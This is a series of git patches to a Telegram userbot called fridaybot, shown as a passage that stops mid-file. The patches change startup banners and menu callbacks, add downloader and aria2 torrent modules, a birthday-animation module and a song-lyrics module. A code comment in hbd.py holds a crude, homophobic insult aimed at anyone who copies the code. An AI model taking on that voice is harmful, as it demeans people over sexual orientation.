1 file changed, 4 insertions(+), 4 deletions(-)
diff --git a/start.sh b/start.sh
index 7e9055f5..72e6d4e1 100644
--- a/start.sh
+++ b/start.sh
@@ -1,6 +1,6 @@
-echo """ ____ ____ __ ____ __ _ _
-( __)( _ \( )( \ / o\ ( \/ )
- ) _) ) / )( ) D (/ \ ) /
-(__) (__\_)(__)(____/\_/\_/(__/
+echo """
+░█──░█ ─▀─ █▀▀█ ▀▀█▀▀ █──█ █▀▀█ █── ░█─░█ █▀▀ █▀▀ █▀▀█ █▀▀▄ █▀▀█ ▀▀█▀▀
+─░█░█─ ▀█▀ █▄▄▀ ──█── █──█ █▄▄█ █── ░█─░█ ▀▀█ █▀▀ █▄▄▀ █▀▀▄ █──█ ──█──
+──▀▄▀─ ▀▀▀ ▀─▀▀ ──▀── ─▀▀▀ ▀──▀ ▀▀▀ ─▀▄▄▀ ▀▀▀ ▀▀▀ ▀─▀▀ ▀▀▀─ ▀▀▀▀ ──▀──
"""
python3 -m fridaybot
From 946606fc4be720d8e756730664cb6fc258a82538 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 09:02:17 +0530
Subject: [PATCH 028/838] Update start.sh
---
start.sh | 8 ++++----
1 file changed, 4 insertions(+), 4 deletions(-)
diff --git a/start.sh b/start.sh
index 72e6d4e1..31052f1d 100644
--- a/start.sh
+++ b/start.sh
@@ -1,6 +1,6 @@
-echo """
-░█──░█ ─▀─ █▀▀█ ▀▀█▀▀ █──█ █▀▀█ █── ░█─░█ █▀▀ █▀▀ █▀▀█ █▀▀▄ █▀▀█ ▀▀█▀▀
-─░█░█─ ▀█▀ █▄▄▀ ──█── █──█ █▄▄█ █── ░█─░█ ▀▀█ █▀▀ █▄▄▀ █▀▀▄ █──█ ──█──
-──▀▄▀─ ▀▀▀ ▀─▀▀ ──▀── ─▀▀▀ ▀──▀ ▀▀▀ ─▀▄▄▀ ▀▀▀ ▀▀▀ ▀─▀▀ ▀▀▀─ ▀▀▀▀ ──▀──
+echo """____ ____ __ ____ __ _ _
+( __)( _ \( )( \ / o\ ( \/ )
+ ) _) ) / )( ) D (/ \ ) /
+(__) (__\_)(__)(____/\_/\_/(__/
"""
python3 -m fridaybot
From 4e26330572437af9742eaf4634a6be54ea61b426 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 09:02:47 +0530
Subject: [PATCH 029/838] Update start.sh
---
start.sh | 8 ++++----
1 file changed, 4 insertions(+), 4 deletions(-)
diff --git a/start.sh b/start.sh
index 31052f1d..72e6d4e1 100644
--- a/start.sh
+++ b/start.sh
@@ -1,6 +1,6 @@
-echo """____ ____ __ ____ __ _ _
-( __)( _ \( )( \ / o\ ( \/ )
- ) _) ) / )( ) D (/ \ ) /
-(__) (__\_)(__)(____/\_/\_/(__/
+echo """
+░█──░█ ─▀─ █▀▀█ ▀▀█▀▀ █──█ █▀▀█ █── ░█─░█ █▀▀ █▀▀ █▀▀█ █▀▀▄ █▀▀█ ▀▀█▀▀
+─░█░█─ ▀█▀ █▄▄▀ ──█── █──█ █▄▄█ █── ░█─░█ ▀▀█ █▀▀ █▄▄▀ █▀▀▄ █──█ ──█──
+──▀▄▀─ ▀▀▀ ▀─▀▀ ──▀── ─▀▀▀ ▀──▀ ▀▀▀ ─▀▄▄▀ ▀▀▀ ▀▀▀ ▀─▀▀ ▀▀▀─ ▀▀▀▀ ──▀──
"""
python3 -m fridaybot
From 4f480e4b5622cd85a98058453eef5ffeb92e4865 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 09:38:29 +0530
Subject: [PATCH 030/838] Update _inlinebot.py
---
fridaybot/modules/_inlinebot.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py
index 57f5c780..1a6dc94c 100644
--- a/fridaybot/modules/_inlinebot.py
+++ b/fridaybot/modules/_inlinebot.py
@@ -226,7 +226,7 @@ def paginate_help(page_number, loaded_modules, prefix):
helpable_modules = sorted(helpable_modules)
modules = [
custom.Button.inline(
- "{} {} {}".format("🔅", x, "🔅"), data="us_plugin_{}".format(x)
+ "{} {} {}".format("🀄️", x, "🀄️"), data="us_plugin_{}".format(x)
)
for x in helpable_modules
]
From c01727b82257c5aeb41a016d3c256d9947b0abaa Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 09:43:48 +0530
Subject: [PATCH 031/838] Update _inlinebot.py
---
fridaybot/modules/_inlinebot.py | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py
index 1a6dc94c..dd1f3e38 100644
--- a/fridaybot/modules/_inlinebot.py
+++ b/fridaybot/modules/_inlinebot.py
@@ -211,7 +211,8 @@ async def rip(event):
@tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"close")))
async def on_plug_in_callback_query_handler(event):
if event.query.user_id == bot.uid:
- await event.edit("menu closed")
+ reply_pop_up_alert1 = "Menu Closed"
+ await event.answer(reply_pop_up_alert1, cache_time=0, alert=True)
else:
reply_pop_up_alert = "මොන පිස්සෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්. "
await event.answer(reply_pop_up_alert, cache_time=0, alert=True)
From 7c018c41935d276ce73f57652822c6e72b8fed0b Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 09:46:28 +0530
Subject: [PATCH 032/838] Update _inlinebot.py
---
fridaybot/modules/_inlinebot.py | 3 +--
1 file changed, 1 insertion(+), 2 deletions(-)
diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py
index dd1f3e38..de975d81 100644
--- a/fridaybot/modules/_inlinebot.py
+++ b/fridaybot/modules/_inlinebot.py
@@ -211,8 +211,7 @@ async def rip(event):
@tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"close")))
async def on_plug_in_callback_query_handler(event):
if event.query.user_id == bot.uid:
- reply_pop_up_alert1 = "Menu Closed"
- await event.answer(reply_pop_up_alert1, cache_time=0, alert=True)
+ await event.delete()
else:
reply_pop_up_alert = "මොන පිස්සෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්. "
await event.answer(reply_pop_up_alert, cache_time=0, alert=True)
From 0ec2a079155a68af63ec337116f1e0f4a0b6e5ef Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 09:48:35 +0530
Subject: [PATCH 033/838] Update _inlinebot.py
---
fridaybot/modules/_inlinebot.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py
index de975d81..1a6dc94c 100644
--- a/fridaybot/modules/_inlinebot.py
+++ b/fridaybot/modules/_inlinebot.py
@@ -211,7 +211,7 @@ async def rip(event):
@tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"close")))
async def on_plug_in_callback_query_handler(event):
if event.query.user_id == bot.uid:
- await event.delete()
+ await event.edit("menu closed")
else:
reply_pop_up_alert = "මොන පිස්සෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්. "
await event.answer(reply_pop_up_alert, cache_time=0, alert=True)
From 105f91d82be6eba9456b6de61fa1d18e1a8289c3 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 13:16:57 +0530
Subject: [PATCH 034/838] Add files via upload
---
fridaybot/modules/download3.py | 85 ++++++++++++++++++++++++++++++++++
1 file changed, 85 insertions(+)
create mode 100644 fridaybot/modules/download3.py
diff --git a/fridaybot/modules/download3.py b/fridaybot/modules/download3.py
new file mode 100644
index 00000000..39b5b84b
--- /dev/null
+++ b/fridaybot/modules/download3.py
@@ -0,0 +1,85 @@
+"""Download Files to your local server
+Syntax:
+.dwl
+.dwl url | file.name to download files from a Public Link"""
+
+import aiohttp
+import asyncio
+import math
+import os
+import time
+from datetime import datetime
+from pySmartDL import SmartDL
+from telethon import events
+from telethon.tl.types import DocumentAttributeVideo
+from ..utils import admin_cmd, humanbytes, progress, time_formatter
+
+
+@borg.on(admin_cmd(pattern="dwl ?(.*)"))
+async def _(event):
+ if event.fwd_from:
+ return
+ mone = await event.reply("Processing ...")
+ input_str = event.pattern_match.group(1)
+ if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY):
+ os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY)
+ if event.reply_to_msg_id:
+ start = datetime.now()
+ reply_message = await event.get_reply_message()
+ try:
+ c_time = time.time()
+ downloaded_file_name = await borg.download_media(
+ reply_message,
+ Config.TMP_DOWNLOAD_DIRECTORY,
+ progress_callback=lambda d, t: asyncio.get_event_loop().create_task(
+ progress(d, t, mone, c_time, "trying to download")
+ )
+ )
+ except Exception as e: # pylint:disable=C0103,W0703
+ await mone.edit(str(e))
+ else:
+ end = datetime.now()
+ ms = (end - start).seconds
+ await mone.edit("Downloaded to `{}` in {} seconds.".format(downloaded_file_name, ms))
+ elif input_str:
+ start = datetime.now()
+ url = input_str
+ file_name = os.path.basename(url)
+ to_download_directory = Config.TMP_DOWNLOAD_DIRECTORY
+ if "|" in input_str:
+ url, file_name = input_str.split("|")
+ url = url.strip()
+ file_name = file_name.strip()
+ downloaded_file_name = os.path.join(to_download_directory, file_name)
+ downloader = SmartDL(url, downloaded_file_name, progress_bar=False)
+ downloader.start(blocking=False)
+ c_time = time.time()
+ while not downloader.isFinished():
+ total_length = downloader.filesize if downloader.filesize else None
+ downloaded = downloader.get_dl_size()
+ display_message = ""
+ now = time.time()
+ diff = now - c_time
+ percentage = downloader.get_progress() * 100
+ speed = downloader.get_speed()
+ elapsed_time = round(diff) * 1000
+ progress_str = "{0}{1}\nProgress: {2}%".format(
+ ''.join(["█" for i in range(math.floor(percentage / 5))]),
+ ''.join(["░" for i in range(20 - math.floor(percentage / 5))]),
+ round(percentage, 2))
+ estimated_total_time = downloader.get_eta(human=True)
+ try:
+ current_message = f"trying to download\nURL: {url}\nFile Name: {file_name}\n{progress_str}\n{humanbytes(downloaded)} of {humanbytes(total_length)}\nETA: {estimated_total_time}"
+ if round(diff % 10.00) == 0 and current_message != display_message:
+ await mone.edit(current_message)
+ display_message = current_message
+ except Exception as e:
+ logger.info(str(e))
+ end = datetime.now()
+ ms = (end - start).seconds
+ if downloader.isSuccessful():
+ await mone.edit("Downloaded to `{}` in {} seconds.".format(downloaded_file_name, ms))
+ else:
+ await mone.edit("Incorrect URL\n {}".format(input_str))
+ else:
+ await mone.edit("Reply to a message to download to my local server.")
From de9d82d02a78ddbc9db2232e0a2db48f2cc1cfa8 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 13:20:11 +0530
Subject: [PATCH 035/838] Update aria2.py
---
fridaybot/modules/aria2.py | 277 +++++++++++--------------------------
1 file changed, 84 insertions(+), 193 deletions(-)
diff --git a/fridaybot/modules/aria2.py b/fridaybot/modules/aria2.py
index 7b5e1487..62d36110 100644
--- a/fridaybot/modules/aria2.py
+++ b/fridaybot/modules/aria2.py
@@ -1,204 +1,95 @@
-# Copyright (C) 2019 The Raphielscape Company LLC.
-#
-# Licensed under the Raphielscape Public License, Version 1.c (the "License");
-# you may not use this file except in compliance with the License.
-#
-
-# Asena UserBot - Yusuf Usta
-#
+"""
+command: .url
+"""
import aria2p
-from asyncio import sleep
-from os import system
-from fridaybot import LOGS, CMD_HELP
from telethon import events
-from requests import get
-from fridaybot.utils import register
-
-
-
-# Gelişmiş indirme hızları için en iyi trackerları çağırır, bunun için K-E-N-W-A-Y'e teşekkürler.
-trackers_list = get(
- 'https://raw.githubusercontent.com/ngosang/trackerslist/master/trackers_best.txt'
-).text.replace('\n\n', ',')
-trackers = f"[{trackers_list}]"
-
-cmd = f"aria2c \
---enable-rpc \
---rpc-listen-all=false \
---rpc-listen-port 6800 \
---max-connection-per-server=10 \
---rpc-max-request-size=1024M \
---seed-time=0.01 \
---max-upload-limit=5K \
---max-concurrent-downloads=5 \
---min-split-size=10M \
---follow-torrent=mem \
---split=10 \
---bt-tracker={trackers} \
---daemon=true \
---allow-overwrite=true"
+import asyncio
+import os
+from ..utils import admin_cmd
+cmd = "aria2c --enable-rpc --rpc-listen-all=false --rpc-listen-port 6800 --max-connection-per-server=10 --rpc-max-request-size=1024M --seed-time=0.01 --min-split-size=10M --follow-torrent=mem --split=10 --daemon=true"
-aria2_is_running = system(cmd)
+aria2_is_running = os.system(cmd)
-aria2 = aria2p.API(aria2p.Client(host="http://localhost", port=6800,
- secret=""))
+aria2 = aria2p.API(
+ aria2p.Client(
+ host="http://localhost",
+ port=6800,
+ secret=""
+ )
+ )
+EDIT_SLEEP_TIME_OUT = 10
-@register(outgoing=True, pattern="^.amag(?: |$)(.*)")
+@borg.on(admin_cmd(pattern="fdownload ?(.*)"))
async def magnet_download(event):
- magnet_uri = event.pattern_match.group(1)
- # Magnet URI'ı kuyruğa ekler.
- try:
- download = aria2.add_magnet(magnet_uri)
- except Exception as e:
- LOGS.info(str(e))
- await event.edit("Hata:\n`" + str(e) + "`")
- return
- gid = download.gid
- await check_progress_for_dl(gid=gid, event=event, previous=None)
- await sleep(5)
- new_gid = await check_metadata(gid)
- await check_progress_for_dl(gid=new_gid, event=event, previous=None)
-
-
-@register(outgoing=True, pattern="^.ator(?: |$)(.*)")
-async def torrent_download(event):
- torrent_file_path = event.pattern_match.group(1)
- # Torrent'i kuyruğa ekler.
- try:
- download = aria2.add_torrent(torrent_file_path,
- uris=None,
- options=None,
- position=None)
- except Exception as e:
- await event.edit(str(e))
- return
- gid = download.gid
- await check_progress_for_dl(gid=gid, event=event, previous=None)
-
-
-@register(outgoing=True, pattern="^.aurl(?: |$)(.*)")
-async def amagnet_download(event):
- uri = [event.pattern_match.group(1)]
- try: # URL'yi kuyruğa ekler.
- download = aria2.add_uris(uri, options=None, position=None)
- except Exception as e:
- LOGS.info(str(e))
- await event.edit("Hata :\n`{}`".format(str(e)))
- return
- gid = download.gid
- await check_progress_for_dl(gid=gid, event=event, previous=None)
- file = aria2.get_download(gid)
- if file.followed_by_ids:
- new_gid = await check_metadata(gid)
- await progress_status(gid=new_gid, event=event, previous=None)
-
-
-@register(outgoing=True, pattern="^.aclear(?: |$)(.*)")
-async def remove_all(event):
- await event.edit("`Devam eden indirmeler temizleniyor... `")
- try:
- removed = aria2.remove_all(force=True)
- aria2.purge_all()
- except:
- pass
- if not removed: # Eğer API False olarak dönerse sistem vasıtasıyla kaldırılmaya çalışılır.
- system("aria2p remove-all")
- await event.edit("`Tüm indirilenler başarıyla temizlendi.`")
-
-
-@register(outgoing=True, pattern="^.apause(?: |$)(.*)")
-async def pause_all(event):
- # Tüm devam eden indirmeleri duraklatır.
- await event.edit("`İndirmeler duraklatılıyor...`")
- aria2.pause_all(force=True)
- await event.edit("`Devam eden indirmeler başarıyla durduruldu.`")
-
-
-@register(outgoing=True, pattern="^.aresume(?: |$)(.*)")
-async def resume_all(event):
- await event.edit("`İndirmeler devam ettiriliyor...`")
- aria2.resume_all()
- await event.edit("`İndirmeler devam ettirildi.`")
- await sleep(2.5)
- await event.delete()
-
-
-@register(outgoing=True, pattern="^.ashow(?: |$)(.*)")
-async def show_all(event):
- output = "output.txt"
- downloads = aria2.get_downloads()
- msg = ""
- for download in downloads:
- msg = msg + "Dosya: `" + str(download.name) + "`\nHız: " + str(
- download.download_speed_string()) + "\nİşlem: " + str(
- download.progress_string()) + "\nToplam Boyut: " + str(
- download.total_length_string()) + "\nDurum: " + str(
- download.status) + "\nTahmini bitiş: " + str(
- download.eta_string()) + "\n\n"
- if len(msg) <= 4096:
- await event.edit("`Devam eden indirmeler: `\n" + msg)
- await sleep(5)
- await event.delete()
- else:
- await event.edit("`Çıktı çok büyük, bu sebepten dolayı dosya olarak gönderiliyor...`")
- with open(output, 'w') as f:
- f.write(msg)
- await sleep(2)
- await event.delete()
- await event.client.send_file(
- event.chat_id,
- output,
- force_document=True,
- supports_streaming=False,
- allow_cache=False,
- reply_to=event.message.id,
- )
+ if event.fwd_from:
+ return
+ var = event.pattern_match.group(1)
+ print(var)
+ uris = [var]
+
+ #Add URL Into Queue
+ try:
+ download = aria2.add_uris(uris, options=None, position=None)
+ except Exception as e:
+ await event.edit("`Error:\n`"+str(e))
+ return
+
+ gid = download.gid
+ complete = None
+ await progress_status(gid=gid,event=event,previous=None)
+ file = aria2.get_download(gid)
+ if file.followed_by_ids:
+ new_gid = await check_metadata(gid)
+ await progress_status(gid=new_gid,event=event,previous=None)
+ while complete != True:
+ file = aria2.get_download(gid)
+ complete = file.is_complete
+ try:
+ msg = "**Downloading File:** "+str(file.name) +"\n**Speed:** "+ str(file.download_speed_string())+"\n**Progress:** "+str(file.progress_string())+"\n**Total Size:** "+str(file.total_length_string())+"\n**ETA:** "+str(file.eta_string())+"\n\n"
+ await event.edit(msg)
+ await asyncio.sleep(10)
+ except Exception as e:
+ # print(str(e))
+ pass
+
+ await event.edit("**File Downloaded Successfully:** `{}`".format(file.name))
+
+
+async def progress_status(gid,event,previous):
+ try:
+ file = aria2.get_download(gid)
+ if not file.is_complete:
+ if not file.error_message:
+ msg = "Downloading File: `"+str(file.name) +"`\nSpeed: "+ str(file.download_speed_string())+"\nProgress: "+str(file.progress_string())+"\nTotal Size: "+str(file.total_length_string())+"\nStatus: "+str(file.status)+"\nETA: "+str(file.eta_string())+"\n\n"
+ if previous != msg:
+ await event.edit(msg)
+ previous = msg
+ else:
+ logger.info(str(file.error_message))
+ await event.edit("Error : `{}`".format(str(file.error_message)))
+ return
+ await asyncio.sleep(EDIT_SLEEP_TIME_OUT)
+ await progress_status(gid,event,previous)
+ else:
+ await event.edit("File Downloaded Successfully: `{}`".format(file.name))
+ return
+ except Exception as e:
+ if " not found" in str(e) or "'file'" in str(e):
+ await event.edit("Download Canceled :\n`{}`".format(file.name))
+ return
+ elif " depth exceeded" in str(e):
+ file.remove(force=True)
+ await event.edit("Download Auto Canceled :\n`{}`\nYour Torrent/Link is Dead.".format(file.name))
+ else:
+ logger.info(str(e))
+ await event.edit("Error :\n`{}`".format(str(e)))
+ return
async def check_metadata(gid):
- file = aria2.get_download(gid)
- new_gid = file.followed_by_ids[0]
- LOGS.info("GID " + gid + " şu değerden şu değere değiştiriliyor:" + new_gid)
- return new_gid
-
-
-async def check_progress_for_dl(gid, event, previous):
- complete = None
- while not complete:
- file = aria2.get_download(gid)
- complete = file.is_complete
- try:
- if not complete and not file.error_message:
- msg = f"\nİndirilen dosya: `{file.name}`"
- msg += f"\nHız: {file.download_speed_string()}"
- msg += f"\nİşlem: {file.progress_string()}"
- msg += f"\nToplam Boyut: {file.total_length_string()}"
- msg += f"\nDurum: {file.status}"
- msg += f"\nTahmini bitiş: {file.eta_string()}"
- if msg != previous:
- await event.edit(msg)
- msg = previous
- else:
- LOGS.info(str(file.error_message))
- await event.edit(f"`{msg}`")
- await sleep(5)
- await check_progress_for_dl(gid, event, previous)
- file = aria2.get_download(gid)
- complete = file.is_complete
- if complete:
- await event.edit(f"Dosya başarıyla indirdi: `{file.name}`"
- )
- return False
- except Exception as e:
- if " not found" in str(e) or "'file'" in str(e):
- await event.edit("İndirme iptal edildi :\n`{}`".format(file.name))
- await sleep(2.5)
- await event.delete()
- return
- elif " depth exceeded" in str(e):
- file.remove(force=True)
- await event.edit(
- "İndirme otomatik olarak iptal edildi:\n`{}`\nTorrent ya da link ölü."
- .format(file.name))
+ file = aria2.get_download(gid)
+ new_gid = file.followed_by_ids[0]
+ logger.info("Changing GID "+gid+" to "+new_gid)
+ return new_gid
From 2a8f4727368eb18330744636c2ad73e06d2223c3 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 13:21:47 +0530
Subject: [PATCH 036/838] Create hbd.py
---
fridaybot/modules/hbd.py | 51 ++++++++++++++++++++++++++++++++++++++++
1 file changed, 51 insertions(+)
create mode 100644 fridaybot/modules/hbd.py
diff --git a/fridaybot/modules/hbd.py b/fridaybot/modules/hbd.py
new file mode 100644
index 00000000..b4d0edfd
--- /dev/null
+++ b/fridaybot/modules/hbd.py
@@ -0,0 +1,51 @@
+#By @NOOB_GUY_OP for Dark CObra
+#If you steal this without credits You will be the geyest gey ever in the world that you will suck cat's dick.
+from telethon import events
+import asyncio
+from ..utils import admin_cmd
+from .. import ALIVE_NAME
+from .. import CMD_HELP
+import importlib.util
+
+DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "Unknown"
+
+@borg.on(admin_cmd(pattern="hbty$"))
+
+async def _(event):
+ if event.fwd_from:
+ return
+ animation_interval = 5
+ animation_ttl = range(0, 16)
+ await event.edit("Starting...")
+ animation_chars = [
+ "**Hello!👋**",
+ "**How Are You?**",
+ "[.](http://2.bp.blogspot.com/-WGLaIVbpK6U/WT4sr0LG2TI/AAAAAAAAVX0/1t0F3gECRh4okN6zJzq6fMwQ7dA4Qw8AwCLcB/s1600/happy-birthday-to-you.png)",
+ "**Wishing you 👈 a 👌 day 🌞 filled 😏 with 👏 happiness and 👏 a 👌 year 🎉 filled 😏 with 👏 joy 😁.**",
+ "**Sending you 👈 smiles 😀 for every 👏 moment 🏆 of your special 😲 day 🌞*",
+ "**Have 👏 a 👌 wonderful 😊 time 🕐 and a very 👌 happy 😊 birthday 🎂!**",
+ "**Count your 👏 life 👤 by 😈 smiles, 😀 not 🚫 tears. 😭 Count your 👏 age 👵 by 😈 friends, 👫 not 🚫 years. 📅 Happy 😊 birthday 🎂!**",
+ "**I hope 🙏 all 💯 your 👏 birthday 🎂 wishes and 👏 dreams 🔚 come true. 💯**",
+ "**Another 🔄 adventure filled 😏 year 🎉 awaits you. 👈 Welcome it 💯 by 😈 celebrating 🚫 your 👏 birthday 🎂 with 👏 pomp and 👏 splendor. Wishing you 👈 a 👌 very 👌 happy 😊 and 👏 fun-filled birthday 🎂!**",
+ "**Happy 😊 birthday 🎂 to someone 👤 who 😂 is smart, 👩 gorgeous, 😍 funny 😄 and 👏 reminds me 😭 a 👌 lot of 💦 myself… from 👉 one 😤 fabulous chick 🐣 to another !**",
+ "[.](http://www.handletheheat.com/wp-content/uploads/2015/03/Best-Birthday-Cake-with-milk-chocolate-buttercream-SQUARE.jpg)",
+ "[.](http://i.pinimg.com/originals/49/d2/e3/49d2e318a2705cbd300e21023392ff6f.jpg)",
+ "Here is also 🎁Gifts🎁 from me👨.",
+ "[.](http://5.imimg.com/data5/KE/IK/MY-15644577/antique-gold-gift-box-luxury-rigid-box02-250x250.jpg)",
+ "[.](http://i.pinimg.com/originals/10/b8/fb/10b8fb15270d8db1f6ff967e7026d2de.gif)",
+ "[.](http://www.lovethispic.com/uploaded_images/367867-Starry-Happy-Birthday-Gif.gif)",
+ ]
+ for i in animation_ttl:#By @NOOB_GUY_OP for Dark CObra
+
+ await asyncio.sleep(animation_interval)
+ await event.edit(animation_chars[i %16 ], link_preview=True)#By @NOOB_GUY_OP for Dark CObra
+
+@borg.on(admin_cmd(pattern=r"binod ?(.*)"))
+async def bid(event):
+ giveVar = event.text
+ bid = giveVar[5]
+ if not bid:
+ bid = "😂"
+ await event.edit(
+ f"{bid}{bid}{bid}{bid}{bid}{bid}{bid}\n{bid}{bid}{bid}{bid}{bid}{bid}{bid}{bid}\n{bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid}\n{bid}{bid}{bid}{bid}{bid}{bid}{bid}{bid}\n{bid}{bid}{bid}{bid}{bid}{bid}{bid}{bid}\n{bid}{bid}{bid}{bid}{bid}{bid}{bid}{bid}\n{bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid}\n{bid}{bid}{bid}{bid}{bid}{bid}{bid}{bid}\n{bid}{bid}{bid}{bid}{bid}{bid}{bid}\n\n{bid}{bid}{bid}{bid}{bid}{bid}\n{bid}{bid}{bid}{bid}{bid}{bid}\n {bid}{bid}\n {bid}{bid}\n {bid}{bid}\n {bid}{bid}\n {bid}{bid}\n {bid}{bid}\n{bid}{bid}{bid}{bid}{bid}{bid}\n{bid}{bid}{bid}{bid}{bid}{bid}\n\n{bid}{bid} {bid}{bid}\n{bid}{bid}{bid} {bid}{bid}\n{bid}{bid}{bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid}{bid}{bid}\n{bid}{bid} {bid}{bid}{bid}\n{bid}{bid} {bid}{bid}\n\n {bid}{bid}{bid}{bid}{bid}\n {bid}{bid}{bid}{bid}{bid}{bid}{bid}\n {bid}{bid} {bid}{bid}\n {bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid}\n {bid}{bid} {bid}{bid}\n {bid}{bid} {bid}{bid}\n {bid}{bid}{bid}{bid}{bid}{bid}{bid}\n {bid}{bid}{bid}{bid}{bid}\n\n{bid}{bid}{bid}{bid}{bid}{bid}{bid}\n{bid}{bid}{bid}{bid}{bid}{bid}{bid}{bid}\n{bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid}\n{bid}{bid}{bid}{bid}{bid}{bid}{bid}{bid}\n{bid}{bid}{bid}{bid}{bid}{bid}{bid}"
+ )
From dc9b3bd7e45b0a8a93f707f412a1a2ee3ad87416 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 13:22:58 +0530
Subject: [PATCH 037/838] Create ensongs.py
---
fridaybot/modules/ensongs.py | 165 +++++++++++++++++++++++++++++++++++
1 file changed, 165 insertions(+)
create mode 100644 fridaybot/modules/ensongs.py
diff --git a/fridaybot/modules/ensongs.py b/fridaybot/modules/ensongs.py
new file mode 100644
index 00000000..df203966
--- /dev/null
+++ b/fridaybot/modules/ensongs.py
@@ -0,0 +1,165 @@
+""" Sing a song...
+ Command .engsongs
+
+ """
+
+
+
+
+from telethon import events
+
+import asyncio
+
+import os
+
+import sys
+
+import random
+
+from ..utils import admin_cmd
+
+@borg.on(admin_cmd(pattern=r"engsongs", outgoing=True))
+
+async def _(event):
+
+ if event.fwd_from:
+
+ return
+
+ await event.edit("Singing...")
+
+ await asyncio.sleep(2)
+
+ x=(random.randrange(1,33))
+
+ if x==1:
+
+ await event.edit("🎶 I'm in love with the shape of you \n We push and pull like a magnet do\n Although my heart is falling too \n I'm in love with your body \n And last night you were in my room \n And now my bedsheets smell like you \n Every day discovering something brand new 🎶 \n 🎶 I'm in love with your body \n Oh—I—oh—I—oh—I—oh—I \n I'm in love with your body \n Oh—I—oh—I—oh—I—oh—I \n I'm in love with your body \n Oh—I—oh—I—oh—I—oh—I \n I'm in love with your body 🎶 \n **-Shape of You**")
+
+ if x==2:
+
+ await event.edit("🎶 I've been reading books of old \n The legends and the myths \n Achilles and his gold \n Hercules and his gifts \n Spiderman's control \n And Batman with his fists \n And clearly I don't see myself upon that list 🎶 \n **-Something Just Like This **")
+
+ if x==3:
+
+ await event.edit("🎶 I don't wanna live forever \n 'Cause I know I'll be livin' in vain \n And I don't wanna fit wherever \n I just wanna keep callin' your name \n Until you come back home \n I just wanna keep callin' your name \n Until you come back home \n I just wanna keep callin' your name \n Until you come back home 🎶 \n **-I don't Wanna Live Forever **")
+
+ if x==4:
+
+ await event.edit("🎶 Oh, hush, my dear, it's been a difficult year \n And terrors don't prey on \n Innocent victims \n Trust me, darling, trust me darling \n It's been a loveless year \n I'm a man of three fears \n Integrity, faith and \n Crocodile tears \n Trust me, darling, trust me, darling 🎶 \n **-Bad Lier")
+
+ if x==5:
+
+ await event.edit("🎶 Walking down 29th and Park \n I saw you in another's arms \n Only a month we've been apart \n **You look happier** \n \n Saw you walk inside a bar \n He said something to make you laugh \n I saw that both your smiles were twice as wide as ours \n Yeah, you look happier, you do 🎶 \n **-Happier **")
+
+ if x==6:
+
+ await event.edit("🎶 I took the supermarket flowers from the windowsill \n I threw the day old tea from the cup \n Packed up the photo album Matthew had made \n Memories of a life that's been loved \n Took the get well soon cards and stuffed animals \n Poured the old ginger beer down the sink \n Dad always told me, 'don't you cry when you're down' \n But mum, there's a tear every time that I blink 🎶 \n **-Supermarket Flowers**")
+
+ if x==7:
+
+ await event.edit("🎶 And you and I we're flying on an aeroplane tonight \n We're going somewhere where the sun is shining bright \n Just close your eyes \n And let's pretend we're dancing in the street \n In Barcelona \n Barcelona \n Barcelona \n Barcelona 🎶 \n **-Barcelona **")
+
+ if x==8:
+
+ await event.edit("🎶 Maybe I came on too strong \n Maybe I waited too long \n Maybe I played my cards wrong \n Oh, just a little bit wrong \n Baby I apologize for it \n \n I could fall, or I could fly \n Here in your aeroplane \n And I could live, I could die \n Hanging on the words you say \n And I've been known to give my all \n And jumping in harder than \n Ten thousand rocks on the lake 🎶 \n **-Dive**")
+
+ if x==9:
+
